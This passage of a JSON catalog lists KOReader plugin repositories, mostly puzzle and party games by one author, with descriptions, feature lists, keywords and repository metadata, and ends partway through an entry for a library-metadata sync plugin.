— take back the last move","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Othello"],"keywords":["koreader-plugins","othello","reversi","opponent","rules","controls","disc","move","undo","valid","discs","flip","game","last","place","two-player","local","mode","highlight","shows","all","legal","placements","count"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:37Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1132,"detail":"detail/t2ym5u__othello.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/pickomino.koplugin","owner":"t2ym5u","repo":"pickomino.koplugin","url":"https://github.com/t2ym5u/pickomino.koplugin","description":"Combinatorial dice and tile logic game","purpose":"*(Screenshot to be added.)* Roll dice to collect worm tiles. Each turn: roll all dice, set aside at least one face value, re-roll the rest, repeat. Your total (must include at least one worm ⚕) claims the matching tile. Fail to score and you lose your top tile. Most worms wins!","categories":["games"],"features":["Each turn, roll all 8 dice and keep at least one face value (all dice showing that face are kept)","The kept face value cannot be reused in the same turn","Keep rolling the remaining dice until you stop or are forced to bust","You must keep at least one worm-face die to claim a tile","Your score equals the highest available tile ≤ your pip total; that tile is removed from the pool","You bust (lose your top tile) if you roll no new keepable values, or you stop without a worm die"],"keywords":["koreader-plugins","combinatorial","dice","tile","logic","game","pickomino","rules","controls","scoring","roll","face","worm","keep","least","stop","value","worms","tiles","turn","bust","button","claim","collect"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:41Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1355,"detail":"detail/t2ym5u__pickomino.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/pluginmanager.koplugin","owner":"t2ym5u","repo":"pluginmanager.koplugin","url":"https://github.com/t2ym5u/pluginmanager.koplugin","description":"Browse, install, and update KOReader game plugins from the repo","purpose":"A plugin manager for KOReader that lets you install, update, and remove game plugins from the koreader-plugins repository directly on your device — no computer required.","categories":["games"],"features":["Browse available plugins — see every game plugin in the repository with its version","Update — detect newer versions and update with a single tap","Remove — uninstall any plugin and delete its files","Offline view — shows locally installed plugins even without network access","Wi-Fi indicator — the main dialog shows whether Wi-Fi is currently on","Disable / enable — turn an installed plugin off without deleting it (KOReader's own plugin-disable mechanism; takes effect after…","README viewer — read a plugin's README before installing, cached to disk so reopening it later doesn't re-download it","Ignore a version — hide one specific update until a newer version is released","Search & sort — filter the plugin list by name, or sort by name/status (tap the magnifier to filter, hold it to change sort)"],"keywords":["koreader-plugins","browse","update","game","repo","pluginmanager","sections","list","works","discover","third-party","repos","configuration","optional","github","token","developers","releasing","requirements","localization","installed","search","name","repository"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:47Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13298,"detail":"detail/t2ym5u__pluginmanager.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/quiz.koplugin","owner":"t2ym5u","repo":"quiz.koplugin","url":"https://github.com/t2ym5u/quiz.koplugin","description":"Quiz Party plugin for KOReader","purpose":"A Quiz Party display plugin for KOReader — general knowledge quiz for a crowd, no app required. Everyone grabs a sheet of paper. The question appears on screen, the timer ticks. Everyone writes their answer. When time runs out (or the host taps *Reveal*), the answer appears. The host reads answers aloud and taps the…","categories":["games"],"features":["The question is displayed; everyone writes their answer on paper before time runs out","The host taps Reveal to show the answer, then awards +1 to each correct player","Questions are shuffled and wrap around automatically","First player to reach the agreed score wins (or play all questions and compare totals)","Question + answer in two phases — question visible during writing time, answer revealed on demand","Optional countdown timer — 20 s / 30 s / 45 s / 1 min, or disabled for self-paced play","Per-player score buttons — tap a player's button to give them +1 after each reveal","Category badge — displayed above the question when provided","Category picker — enable/disable individual categories from Options (multi-select, per language)","Question counter — shows current position in the deck (e.g. *3 / 42*)"],"keywords":["koreader-plugins","quiz","party","concept","rules","bringing","own","questions","controls","via","manager","manual","development","question","answer","json","file","player","timer","score","bundled","deck","each","reveal"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:50Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4045,"detail":"detail/t2ym5u__quiz.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/rippleeffect.koplugin","owner":"t2ym5u","repo":"rippleeffect.koplugin","url":"https://github.com/t2ym5u/rippleeffect.koplugin","description":"Fill rooms so each number appears once per row/col","purpose":"A Ripple Effect puzzle plugin for KOReader. *(Screenshot to be added.)* Fill every cell so that each outlined region of size N contains 1–N exactly once. Additionally, if the same number appears twice in the same row or column, those two cells must be at least that number of cells apart (the \"ripple\" constraint).","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Region highlighting — outlined regions are clearly shown","Check — highlights rule violations","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Ripple Effect"],"keywords":["koreader-plugins","fill","rooms","each","number","appears","once","per","row","col","rippleeffect","rules","controls","cell","check","puzzle","ripple","cells","effect","erase","outlined","region","same","multiple"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:53Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1225,"detail":"detail/t2ym5u__rippleeffect.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/sandwichsudoku.koplugin","owner":"t2ym5u","repo":"sandwichsudoku.koplugin","url":"https://github.com/t2ym5u/sandwichsudoku.koplugin","description":"Sudoku with sandwich sum clues","purpose":"A Sandwich Sudoku plugin for KOReader. *(Screenshot to be added.)* Standard 9×9 Sudoku rules plus sandwich clues: each row/column clue shows the sum of all digits sandwiched between the 1 and the 9 in that line. The 1 and 9 themselves are not included in the sum.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Sandwich clue display — row and column clues shown at grid edges","Note mode — pencil in candidate digits","Check — highlights incorrect cells and sandwich sums","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Sandwich Sudoku"],"keywords":["koreader-plugins","sudoku","sandwich","sum","clues","sandwichsudoku","rules","controls","check","game","note","undo","cell","clue","column","difficulty","digit","digits","erase","mode","shows","solution","three","levels"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:56Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1441,"detail":"detail/t2ym5u__sandwichsudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/shikaku.koplugin","owner":"t2ym5u","repo":"shikaku.koplugin","url":"https://github.com/t2ym5u/shikaku.koplugin","description":"Divide the grid into rectangles","purpose":"A Shikaku puzzle plugin for KOReader. *(Screenshot to be added.)* Divide the grid into rectangles. Each rectangle contains exactly one number equal to its area (width × height in cells). Every cell must belong to exactly one rectangle.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Rectangle preview — see the rectangle as you draw it","Check — highlights overlapping or incorrectly sized rectangles","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Shikaku"],"keywords":["koreader-plugins","divide","grid","rectangles","shikaku","rules","controls","rectangle","cell","check","puzzle","draw","exactly","multiple","sizes","three","difficulty","levels","easy","medium","hard","preview","see","highlights"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:01Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1143,"detail":"detail/t2ym5u__shikaku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/skyscraper.koplugin","owner":"t2ym5u","repo":"skyscraper.koplugin","url":"https://github.com/t2ym5u/skyscraper.koplugin","description":"Place buildings by skyline clues","purpose":"A Skyscraper puzzle plugin for KOReader. *(Screenshot to be added.)* Place building heights 1–N in each row and column (no repeats, like Sudoku). Edge clues show how many buildings are visible from that direction — taller buildings hide shorter ones behind them.","categories":["misc"],"features":["Multiple grid sizes — 4×4, 5×5, 6×6","Three difficulty levels — Easy, Medium, Hard","Visibility preview — shows the current count when checking a row","Check — highlights constraint violations","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Skyscraper"],"keywords":["koreader-plugins","place","buildings","skyline","clues","skyscraper","rules","controls","check","puzzle","cell","erase","show","multiple","grid","sizes","three","difficulty","levels","easy","medium","hard","visibility","preview"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:05Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1203,"detail":"detail/t2ym5u__skyscraper.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/slitherlink.koplugin","owner":"t2ym5u","repo":"slitherlink.koplugin","url":"https://github.com/t2ym5u/slitherlink.koplugin","description":"Draw a single closed loop along grid edges matching the numbered clues","purpose":"A Slitherlink plugin for KOReader. *(Screenshot to be added.)* Draw a single closed loop along grid edges. Each numbered cell indicates exactly how many of its four sides the loop crosses. The loop must be a single continuous, non-branching, non-crossing closed curve.","categories":["misc"],"features":["Multiple grid sizes — 5×5, 10×10, 15×15, 20×20","Three difficulty levels — Easy, Medium, Hard","Edge states — unknown, line (part of the loop), cross (confirmed not used)","Loop validation — detects closed sub-loops before the puzzle is complete","Check — highlights edges that contradict a numbered clue","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch"],"keywords":["koreader-plugins","draw","single","closed","loop","along","grid","edges","matching","numbered","clues","slitherlink","rules","concept","controls","e-ink","friendly","edge","between","check","cross","game","undo","cell"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:08Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1760,"detail":"detail/t2ym5u__slitherlink.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/sokoban.koplugin","owner":"t2ym5u","repo":"sokoban.koplugin","url":"https://github.com/t2ym5u/sokoban.koplugin","description":"KOReader plugin: Sokoban","purpose":"A Sokoban plugin for KOReader. *(Screenshot to be added.)* Push every box onto a marked target square. Boxes can only be pushed (not pulled). You cannot push two boxes at once or push a box into a wall. Plan ahead — a misplaced box may become unmovable.","categories":["misc"],"features":["Bundled level packs — classic XSokoban 90 levels + community packs","Custom levels — load .xsb / .slc level files from the device","Level browser — sorted by difficulty with completion status","Unlimited undo — step back any number of moves","Move and push counters — track efficiency","Best scores — minimum moves/pushes stored per level","Step replay — replay your solution move by move","Landscape support — wider grid layout in landscape orientation"],"keywords":["koreader-plugins","sokoban","rules","concept","controls","e-ink","friendly","push","level","move","levels","undo","boxes","browser","cannot","crates","grid","landscape","moves","once","only","onto","packs","replay"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:11Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1556,"detail":"detail/t2ym5u__sokoban.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/solitaire.koplugin","owner":"t2ym5u","repo":"solitaire.koplugin","url":"https://github.com/t2ym5u/solitaire.koplugin","description":"KOReader plugin: solitaire","purpose":"A Klondike Solitaire plugin for KOReader. *(Screenshot to be added.)* Build the four foundation piles up from Ace to King, one suit per pile. Move cards between tableau columns in descending order with alternating colours, and draw from the stock pile when stuck. Win by moving all 52 cards to the foundations.","categories":["games"],"features":["Draw 1 / Draw 3 mode — configurable stock draw","Auto-complete — automatically plays out the remaining moves once the game is won","Move counter","Auto-save — in-progress game restored on next launch","Open the menu → Tools → Solitaire"],"keywords":["koreader-plugins","solitaire","rules","concept","controls","draw","game","move","pile","stock","auto-complete","mode","undo","card","cards","klondike","configurable","automatically","plays","out","remaining","moves","once","won"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:15Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1298,"detail":"detail/t2ym5u__solitaire.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/starbattle.koplugin","owner":"t2ym5u","repo":"starbattle.koplugin","url":"https://github.com/t2ym5u/starbattle.koplugin","description":"Place stars with one per row/col/region","purpose":"A Star Battle puzzle plugin for KOReader. *(Screenshot to be added.)* Place exactly N stars per row, column, and bold outlined region. No two stars may be adjacent — including diagonally adjacent. Tap a cell to cycle: star → empty marker → blank.","categories":["misc"],"features":["1-star and 2-star variants","Multiple grid sizes — 8×8, 10×10","Non-adjacency check — highlights conflicting stars","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Star Battle"],"keywords":["koreader-plugins","place","stars","one","per","row","col","region","starbattle","rules","controls","known","limitations","star","check","layout","puzzle","adjacent","battle","cell","empty","exactly","found","generation"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:18Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1446,"detail":"detail/t2ym5u__starbattle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/startmenu.koplugin","owner":"t2ym5u","repo":"startmenu.koplugin","url":"https://github.com/t2ym5u/startmenu.koplugin","description":"KOReader plugin: Startup Menu","purpose":"A startup menu plugin for KOReader. Each time KOReader opens its file manager, a small dialog asks what you want to do: go straight to reading, or jump directly into one of the installed game plugins. One tap and you are there — no menu diving required.","categories":["ui"],"features":["Startup prompt — appears automatically when the KOReader file manager loads","Read shortcut — dismiss the dialog and stay in the file manager","Direct game launch — tap any listed game to open it immediately","Configurable game list — choose which games appear via the Tools menu","Enable / disable — turn the automatic prompt off without uninstalling the plugin","Manual trigger — re-open the menu at any time from Tools → Startup Menu"],"keywords":["koreader-plugins","startup","menu","startmenu","concept","configuration","requirements","game","appears","dialog","each","file","installed","manager","tools","automatic","automatically","enable","games","immediately","launch","open","prompt","settings"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:21Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1931,"detail":"detail/t2ym5u__startmenu.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/sudoku.koplugin","owner":"t2ym5u","repo":"sudoku.koplugin","url":"https://github.com/t2ym5u/sudoku.koplugin","description":"Sudoku plugin for KOReader","purpose":"A Sudoku plugin for KOReader. *(Screenshot to be added.)* Fill the 9×9 grid with digits 1–9. Each row, each column, and each 3×3 box must contain every digit exactly once. Given digits are fixed.","categories":["games"],"features":["Five grid sizes — 4×4, 6×6, 9×9, 12×12 and 16×16 (digits 10–16 shown as A–G)","Three difficulty levels — Easy, Medium, Hard","Landscape support — buttons displayed to the right of the grid in landscape orientation","Note mode — pencil in candidate digits as small annotations","Digit completion — a digit button is greyed out once all its instances are placed","Check — highlights incorrect cells with a cross mark","Reveal solution — shows the full solution (disables editing)","Undo — step back through your moves","Auto-save — game state is saved automatically and restored on next launch","Open the menu → Tools → Sudoku"],"keywords":["koreader-plugins","sudoku","rules","digit","grid","digits","check","each","game","note","undo","button","cell","change","difficulty","erase","landscape","mode","once","solution","five","sizes","shown","three"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:25Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1716,"detail":"detail/t2ym5u__sudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/sudokukiller.koplugin","owner":"t2ym5u","repo":"sudokukiller.koplugin","url":"https://github.com/t2ym5u/sudokukiller.koplugin","description":"KOReader Killer Sudoku plugin","purpose":"A Killer Sudoku plugin for KOReader. Standard Sudoku rules (fill 1–9; no repeats in rows, columns, or 3×3 boxes) plus cage constraints: cells are grouped into cages, each labelled with a target sum. The digits in each cage must add up to that sum with no repeats within the cage.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Cage highlighting — tapping a caged cell highlights the whole cage","Note mode — pencil in candidate digits","Check — highlights incorrect cells","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Killer Sudoku"],"keywords":["koreader-plugins","killer","sudoku","sudokukiller","rules","controls","known","limitations","cage","cell","check","game","note","solution","undo","back","cells","difficulty","digit","digits","each","easy","erase","guaranteed"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-07T08:41:55Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":1938,"detail":"detail/t2ym5u__sudokukiller.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/sudokux.koplugin","owner":"t2ym5u","repo":"sudokux.koplugin","url":"https://github.com/t2ym5u/sudokux.koplugin","description":"Sudoku with diagonal constraints","purpose":"A Sudoku-X plugin for KOReader. *(Screenshot to be added.)* Standard 9×9 Sudoku rules plus a diagonal constraint: each of the two main diagonals (top-left to bottom-right, and top-right to bottom-left) must also contain every digit 1–9 exactly once.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Diagonal highlighting — main diagonals shown with a light background","Note mode — pencil in candidate digits","Check — highlights incorrect cells and diagonal conflicts","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Sudoku X"],"keywords":["koreader-plugins","sudoku","diagonal","constraints","sudokux","rules","controls","check","digit","game","note","undo","cell","diagonals","difficulty","erase","main","mode","solution","three","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:31Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1417,"detail":"detail/t2ym5u__sudokux.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/suguru.koplugin","owner":"t2ym5u","repo":"suguru.koplugin","url":"https://github.com/t2ym5u/suguru.koplugin","description":"Fill regions with non-repeating numbers","purpose":"A Suguru puzzle plugin for KOReader. *(Screenshot to be added.)* Fill every cell so each outlined group of size N contains 1–N exactly once. Identical numbers may never be in adjacent cells — including diagonally adjacent.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Group highlighting — outlined cages are clearly shown","Check — highlights adjacency or group violations","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Suguru"],"keywords":["koreader-plugins","fill","regions","non-repeating","numbers","suguru","rules","controls","cell","check","group","puzzle","adjacent","erase","outlined","multiple","grid","sizes","three","difficulty","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1127,"detail":"detail/t2ym5u__suguru.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/taboo.koplugin","owner":"t2ym5u","repo":"taboo.koplugin","url":"https://github.com/t2ym5u/taboo.koplugin","description":"Taboo Party plugin for KOReader","purpose":"A Taboo Party display plugin for KOReader — play Taboo around the table with your own card deck. Teams take turns. The active player picks up the device and describes as many words as possible before the timer runs out — without saying any of the forbidden words listed below the main word. Opponents watch for slip-ups…","categories":["misc"],"features":["Teams take turns. The active player describes words without saying any of the forbidden words listed on the card","✓ +1 — teammates guessed correctly","✗ Buzzed — an opponent called out a forbidden word → −1 for the active team","→ Skip — pass the card, no penalty","Play until the timer runs out or the agreed card count is reached; then teams swap","Card display — main word large, forbidden words clearly listed below","Countdown timer — 30 s to 2 min per round (configurable)","Live scoring — ✓ +1 / ✗ −1 / → Skip, applied instantly; round delta shown at timer end","Auto team rotation — advances to the next team after each round","2–6 teams — configurable team count"],"keywords":["koreader-plugins","taboo","party","concept","rules","card","json","format","controls","via","manager","manual","development","cards","round","timer","word","words","forbidden","team","teams","active","skip","buzzed"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:38Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":3294,"detail":"detail/t2ym5u__taboo.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/tapa.koplugin","owner":"t2ym5u","repo":"tapa.koplugin","url":"https://github.com/t2ym5u/tapa.koplugin","description":"Shade cells to form a connected wall","purpose":"A Tapa puzzle plugin for KOReader. *(Screenshot to be added.)* Shade cells black to form a single connected group. Numbered clue cells (never shaded) describe the consecutive shaded runs in their 8 surrounding cells. The shaded region must be fully connected. No 2×2 block may be entirely shaded.","categories":["misc"],"features":["Multiple grid sizes","Three difficulty levels — Easy, Medium, Hard","Clue highlighting — tap a clue cell to see its affected region","Check — validates connectivity and number constraints","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Tapa"],"keywords":["koreader-plugins","shade","cells","form","connected","wall","tapa","rules","controls","shaded","cell","check","clue","puzzle","region","multiple","grid","sizes","three","difficulty","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:41Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1164,"detail":"detail/t2ym5u__tapa.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/tatami.koplugin","owner":"t2ym5u","repo":"tatami.koplugin","url":"https://github.com/t2ym5u/tatami.koplugin","description":"Fill the grid with 1x2 dominoes","purpose":"A Tatami puzzle plugin for KOReader. *(Screenshot to be added.)* Pair up every cell with an adjacent cell to form dominoes covering the whole grid, so that no four dominoes meet corner-to-corner at a single point — the traditional bad-luck \"cross\" arrangement real tatami mat flooring avoids. Some dominoes are given as…","categories":["misc"],"features":["Two grid sizes — 4×4 and 6×6","Three difficulty levels — Easy, Medium, Hard","Domino highlighting — outlines show domino boundaries","Auto-save — puzzle state saved and restored on next launch","Open the menu → Tools → Tatami"],"keywords":["koreader-plugins","fill","grid","1x2","dominoes","tatami","rules","controls","cell","puzzle","adjacent","clear","domino","reveal","undo","two","sizes","three","difficulty","levels","easy","medium","hard","highlighting"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:44Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1226,"detail":"detail/t2ym5u__tatami.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/tents.koplugin","owner":"t2ym5u","repo":"tents.koplugin","url":"https://github.com/t2ym5u/tents.koplugin","description":"KOReader plugin: Tents and Trees","purpose":"A Tents and Trees plugin for KOReader. *(Screenshot to be added.)* Place tents adjacent to trees: each tree pairs with exactly one orthogonally adjacent tent; each tent pairs with one tree. No two tents may touch (even diagonally). Row and column clue counts must be satisfied.","categories":["misc"],"features":["Each tree is paired with exactly one tent in an orthogonally adjacent cell","Each tent is paired with exactly one tree","No two tents are adjacent (not even diagonally)","The number of tents in each row and column matches the clue for that line","Multiple grid sizes — 6×6, 8×8, 10×10, 12×12","Three difficulty levels — Easy, Medium, Hard","Cell states — empty, tent, grass (confirmed non-tent)","Clue highlighting — tap a row/column clue to highlight that line","Pairing display — shows the tree–tent pairing once the puzzle is solved","Check — highlights contradictions with row/column clues and adjacency rules"],"keywords":["koreader-plugins","tents","trees","rules","concept","controls","e-ink","friendly","tent","tree","cell","column","each","grass","grid","adjacent","clue","mode","check","exactly","game","place","undo","change"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:47Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1944,"detail":"detail/t2ym5u__tents.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/thermosudoku.koplugin","owner":"t2ym5u","repo":"thermosudoku.koplugin","url":"https://github.com/t2ym5u/thermosudoku.koplugin","description":"Sudoku with thermometer constraints","purpose":"A Thermo Sudoku plugin for KOReader. *(Screenshot to be added.)* Standard 9×9 Sudoku rules plus thermometer constraints: digits along each thermometer must strictly increase from the bulb toward the tip.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Thermometer display — bulbs and tubes clearly shown on the grid","Note mode — pencil in candidate digits","Check — highlights cells violating thermometer constraints","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Thermo Sudoku"],"keywords":["koreader-plugins","sudoku","thermometer","constraints","thermosudoku","rules","controls","check","game","note","undo","cell","difficulty","digit","digits","erase","mode","solution","thermo","three","levels","easy","medium","hard"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:50Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1380,"detail":"detail/t2ym5u__thermosudoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/windoku.koplugin","owner":"t2ym5u","repo":"windoku.koplugin","url":"https://github.com/t2ym5u/windoku.koplugin","description":"Sudoku with 4 windowed inner regions","purpose":"A Windoku (Windows Sudoku) plugin for KOReader. *(Screenshot to be added.)* Standard 9×9 Sudoku rules plus four extra \"window\" 3×3 regions (one highlighted in each quadrant of the grid) that must also each contain every digit 1–9 exactly once.","categories":["games"],"features":["Three difficulty levels — Easy, Medium, Hard","Window shading — the four extra regions are visually highlighted","Note mode — pencil in candidate digits","Check — highlights incorrect cells","Reveal solution — shows the full solution","Undo — step back through your moves","Auto-save — game state saved and restored on next launch","Open the menu → Tools → Windoku"],"keywords":["koreader-plugins","sudoku","windowed","inner","regions","windoku","rules","controls","check","digit","game","note","undo","cell","difficulty","each","erase","extra","four","highlighted","mode","solution","window","three"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:53Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1380,"detail":"detail/t2ym5u__windoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/wordladder.koplugin","owner":"t2ym5u","repo":"wordladder.koplugin","url":"https://github.com/t2ym5u/wordladder.koplugin","description":"KOReader plugin: wordladder","purpose":"A Word Ladder plugin for KOReader. *(Screenshot to be added.)* Transform the start word into the target word by changing exactly one letter per step, with every intermediate step a valid word of the same length. Reach the target word in as few steps as possible.","categories":["misc"],"features":["Configurable word length","Three difficulty levels — Easy, Medium, Hard","Hint — reveals a valid next word","Win tracking — counts solved puzzles per session","Auto-save — in-progress game restored on next launch","Open the menu → Tools → Word Ladder"],"keywords":["koreader-plugins","wordladder","rules","concept","controls","word","length","difficulty","hint","undo","change","ladder","letter","next","puzzle","puzzles","step","target","valid","configurable","three","levels","easy","medium"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:07:57Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1281,"detail":"detail/t2ym5u__wordladder.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/wordsearch.koplugin","owner":"t2ym5u","repo":"wordsearch.koplugin","url":"https://github.com/t2ym5u/wordsearch.koplugin","description":"Find hidden words in a letter grid","purpose":"A Word Search puzzle plugin for KOReader. *(Screenshot to be added.)* Find all the hidden words in the letter grid. Words may run in any of 8 directions (horizontal, vertical, diagonal — both forward and backward). Tap the first and last letters of a word to mark it found. Solve the puzzle by finding every listed word.","categories":["games"],"features":["Multiple grid sizes — various puzzle sizes","Word list — all target words displayed alongside the grid","Highlight on find — found words are highlighted and crossed off","Auto-save — puzzle state restored on next launch","Open the menu → Tools → Word Search"],"keywords":["koreader-plugins","find","hidden","words","letter","grid","wordsearch","rules","controls","word","puzzle","mark","first","found","last","search","sizes","multiple","various","list","all","target","displayed","alongside"],"topics":["koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:08:03Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1153,"detail":"detail/t2ym5u__wordsearch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"taheralfayad/cool-koreader-plugin","owner":"taheralfayad","repo":"cool-koreader-plugin","url":"https://github.com/taheralfayad/cool-koreader-plugin","description":"a koreader plugin to metadata about my library to my personal site ","purpose":"a koreader plugin to send metadata about my library to my personal site in your terminal, export the following variables:","categories":["library","device"],"features":["plug in your kindle to your pc","find your kindle's storage using lsblk","mount your kindle onto your machine","cp -r ~/koreader/plugins/bookgettr.koplugin /mnt/kindle to copy over the contents of this plugin","modify your platform/kindle/koreader.sh, at the very top of the file, add the following 